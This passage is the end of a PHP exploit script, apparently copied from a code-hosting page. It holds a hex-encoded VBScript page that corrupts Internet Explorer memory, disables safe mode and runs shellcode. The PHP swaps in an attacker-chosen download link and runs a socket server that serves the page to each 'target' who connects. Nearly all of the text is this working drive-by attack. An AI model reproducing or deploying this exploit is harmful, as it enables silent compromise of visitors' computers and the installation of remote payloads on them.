"\x74\x28\x4d\x69\x64\x28\x69\x6e\x66\x6f\x2c\x20\x49\x6e\x53\x74\x72\x28\x69\x6e\x66\x6f\x2c\x20".
|
||||
"\x22\x4d\x53\x49\x45\x22\x29\x20\x2b\x20\x35\x2c\x20\x32\x29\x29\x20\x20\x20\x0d\x0a\x20\x20\x65".
|
||||
"\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f".
|
||||
"\x6e\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x65".
|
||||
"\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x77\x69\x6e\x39\x78\x3d\x30\x0d\x0a\x20\x0d\x0a".
|
||||
"\x20\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x49\x66\x20\x43\x72\x65\x61".
|
||||
"\x74\x65\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
|
||||
"\x72\x72\x61\x79\x3d\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68".
|
||||
"\x72\x77\x28\x32\x31\x37\x36\x29\x26\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x30".
|
||||
"\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72".
|
||||
"\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
|
||||
"\x72\x72\x61\x79\x3d\x6d\x79\x61\x72\x72\x61\x79\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68".
|
||||
"\x72\x77\x28\x33\x32\x37\x36\x37\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28".
|
||||
"\x30\x29\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f".
|
||||
"\x6e\x3c\x34\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75".
|
||||
"\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x62\x72\x3e\x20\x49\x45\x22\x29\x0d\x0a\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x69".
|
||||
"\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6e".
|
||||
"\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x28\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x20\x20\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69\x66\x0d".
|
||||
"\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69".
|
||||
"\x6f\x6e\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x20\x52\x61\x6e\x64\x6f".
|
||||
"\x6d\x69\x7a\x65\x28\x29\x0d\x0a\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x61\x28\x35\x29\x0d\x0a".
|
||||
"\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x62\x28\x35\x29\x0d\x0a\x20\x20\x20\x61\x30\x3d\x31\x33".
|
||||
"\x2b\x31\x37\x2a\x72\x6e\x64\x28\x36\x29\x0d\x0a\x20\x20\x20\x61\x33\x3d\x37\x2b\x33\x2a\x72\x6e".
|
||||
"\x64\x28\x35\x29\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66".
|
||||
"\x75\x6e\x63\x74\x69\x6f\x6e\x20\x43\x72\x65\x61\x74\x65\x28\x29\x0d\x0a\x20\x20\x4f\x6e\x20\x45".
|
||||
"\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x64\x69\x6d\x20".
|
||||
"\x69\x0d\x0a\x20\x20\x43\x72\x65\x61\x74\x65\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x46\x6f\x72".
|
||||
"\x20\x69\x20\x3d\x20\x30\x20\x54\x6f\x20\x34\x30\x30\x0d\x0a\x20\x20\x20\x20\x49\x66\x20\x4f\x76".
|
||||
"\x65\x72\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x43".
|
||||
"\x72\x65\x61\x74\x65\x3d\x54\x72\x75\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20".
|
||||
"\x46\x6f\x72\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x0d\x0a\x20\x20\x4e\x65\x78\x74".
|
||||
"\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x73\x75\x62\x20\x74".
|
||||
"\x65\x73\x74\x61\x61\x28\x29\x0d\x0a\x65\x6e\x64\x20\x73\x75\x62\x0d\x0a\x20\x0d\x0a\x66\x75\x6e".
|
||||
"\x63\x74\x69\x6f\x6e\x20\x6d\x79\x64\x61\x74\x61\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45".
|
||||
"\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20\x20\x69".
|
||||
"\x3d\x74\x65\x73\x74\x61\x61\x0d\x0a\x20\x20\x20\x20\x20\x69\x3d\x6e\x75\x6c\x6c\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32".
|
||||
"\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a".
|
||||
"\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x69\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30".
|
||||
"\x29\x3d\x36\x2e\x33\x36\x35\x39\x38\x37\x33\x37\x34\x33\x37\x38\x30\x31\x45\x2d\x33\x31\x34\x0d".
|
||||
"\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x3d\x6d\x79\x61\x72\x72\x61".
|
||||
"\x79\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x37\x34\x30\x38\x38\x35\x33\x34".
|
||||
"\x37\x33\x31\x33\x32\x34\x45\x2d\x33\x31\x30\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x64\x61".
|
||||
"\x74\x61\x3d\x61\x61\x28\x61\x31\x29\x0d\x0a\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
|
||||
"\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75".
|
||||
"\x6e\x63\x74\x69\x6f\x6e\x20\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20".
|
||||
"\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e".
|
||||
"\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20".
|
||||
"\x69\x3d\x6d\x79\x64\x61\x74\x61\x28\x29\x20\x20\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28".
|
||||
"\x69\x2b\x38\x29\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28\x69\x2b\x31\x36\x29\x0d\x0a\x20".
|
||||
"\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x33\x34\x29\x20\x20\x0d\x0a\x20\x20\x20".
|
||||
"\x20\x66\x6f\x72\x20\x6b\x3d\x30\x20\x74\x6f\x20\x26\x68\x36\x30\x20\x73\x74\x65\x70\x20\x34\x0d".
|
||||
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x32\x30\x2b\x6b".
|
||||
"\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6a\x3d\x31\x34\x29\x20\x74\x68\x65\x6e".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64".
|
||||
"\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x28".
|
||||
"\x69\x2b\x26\x68\x31\x31\x63\x2b\x6b\x29\x3d\x61\x62\x28\x34\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
|
||||
"\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x0d\x0a".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68".
|
||||
"\x31\x32\x30\x2b\x6b\x29\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20\x66\x6f\x72\x0d\x0a".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x6e\x65\x78\x74\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x36\x39\x37".
|
||||
"\x35\x39\x36\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x0d\x0a\x20\x20\x20\x20\x72\x75".
|
||||
"\x6e\x6d\x75\x6d\x61\x61\x28\x29\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d".
|
||||
"\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4f\x76\x65\x72\x28\x29\x0d\x0a\x20\x20\x20".
|
||||
"\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20".
|
||||
"\x20\x20\x20\x64\x69\x6d\x20\x74\x79\x70\x65\x31\x2c\x74\x79\x70\x65\x32\x2c\x74\x79\x70\x65\x33".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x61\x30".
|
||||
"\x3d\x61\x30\x2b\x61\x33\x0d\x0a\x20\x20\x20\x20\x61\x31\x3d\x61\x30\x2b\x32\x0d\x0a\x20\x20\x20".
|
||||
"\x20\x61\x32\x3d\x61\x30\x2b\x26\x68\x38\x30\x30\x30\x30\x30\x30\x0d\x0a\x20\x20\x20\x0d\x0a\x20".
|
||||
"\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30".
|
||||
"\x29\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x61\x30\x29\x20\x20".
|
||||
"\x20\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65".
|
||||
"\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x74".
|
||||
"\x79\x70\x65\x31\x3d\x31\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x31\x32\x33\x34".
|
||||
"\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38".
|
||||
"\x39\x30\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x30\x29\x3d\x31\x30\x0d\x0a\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28".
|
||||
"\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x20\x3d\x20\x46\x61\x6c\x73\x65\x29\x20\x54\x68\x65\x6e\x0d".
|
||||
"\x0a\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3c\x34\x29".
|
||||
"\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x65\x6d\x3d\x63\x69".
|
||||
"\x6e\x74\x28\x61\x30\x2b\x31\x29\x2a\x31\x36\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x76\x61\x72\x74\x79\x70\x65\x28\x61".
|
||||
"\x61\x28\x61\x31\x2d\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28".
|
||||
"\x28\x6a\x3d\x6d\x65\x6d\x2b\x34\x29\x20\x6f\x72\x20\x28\x6a\x2a\x38\x3d\x6d\x65\x6d\x2b\x38\x29".
|
||||
"\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66".
|
||||
"\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20\x20".
|
||||
"\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d".
|
||||
"\x20\x46\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74".
|
||||
"\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28\x61\x31\x29\x29\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65".
|
||||
"\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20".
|
||||
"\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69".
|
||||
"\x66\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20".
|
||||
"\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d\x20\x46".
|
||||
"\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28".
|
||||
"\x61\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20".
|
||||
"\x69\x66\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65".
|
||||
"\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49".
|
||||
"\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x32\x66\x36\x36\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20".
|
||||
"\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72".
|
||||
"\x75\x65\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a".
|
||||
"\x20\x20\x20\x20\x49\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x42\x39\x41\x44\x29\x20\x54\x68\x65".
|
||||
"\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72\x75\x65\x0d\x0a".
|
||||
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x6e\x39\x78\x3d\x31\x0d\x0a\x20\x20\x20\x20\x45".
|
||||
"\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
|
||||
"\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f".
|
||||
"\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6d\x28\x61\x64\x64\x29\x20".
|
||||
"\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65".
|
||||
"\x78\x74\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
|
||||
"\x61\x61\x28\x61\x32\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29".
|
||||
"\x3d\x30\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x61\x64\x64\x2b\x34\x20".
|
||||
"\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x36\x39\x37\x35\x39\x36".
|
||||
"\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x72\x75\x6d\x3d\x6c\x65\x6e\x62\x28\x61\x61\x28\x61\x31\x29\x29\x20\x20\x0d\x0a\x20\x20".
|
||||
"\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a\x20\x20\x20\x20\x72\x65\x64".
|
||||
"\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x65\x6e\x64".
|
||||
"\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0d".
|
||||
"\x0a\x20\x0d\x0a\x3c\x2f\x62\x6f\x64\x79\x3e\x0d\x0a\x3c\x2f\x68\x74\x6d\x6c\x3e";
|
||||
$msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);
|
||||
|
||||
for (;;) {
|
||||
if ($client = @socket_accept($reza)) {
|
||||
socket_write($client, "HTTP/1.1 200 OK\r\n" .
|
||||
"Content-length: " . strlen($msgd) . "\r\n" .
|
||||
"Content-Type: text/html; charset=UTF-8\r\n\r\n" .
|
||||
$msgd);
|
||||
print "\n Target Checked Your Link \n";
|
||||
}
|
||||
else usleep(100000);
|
||||
}
|
||||
|
||||
|
||||
?>
|
||||
Loading…
Add table
Reference in a new issue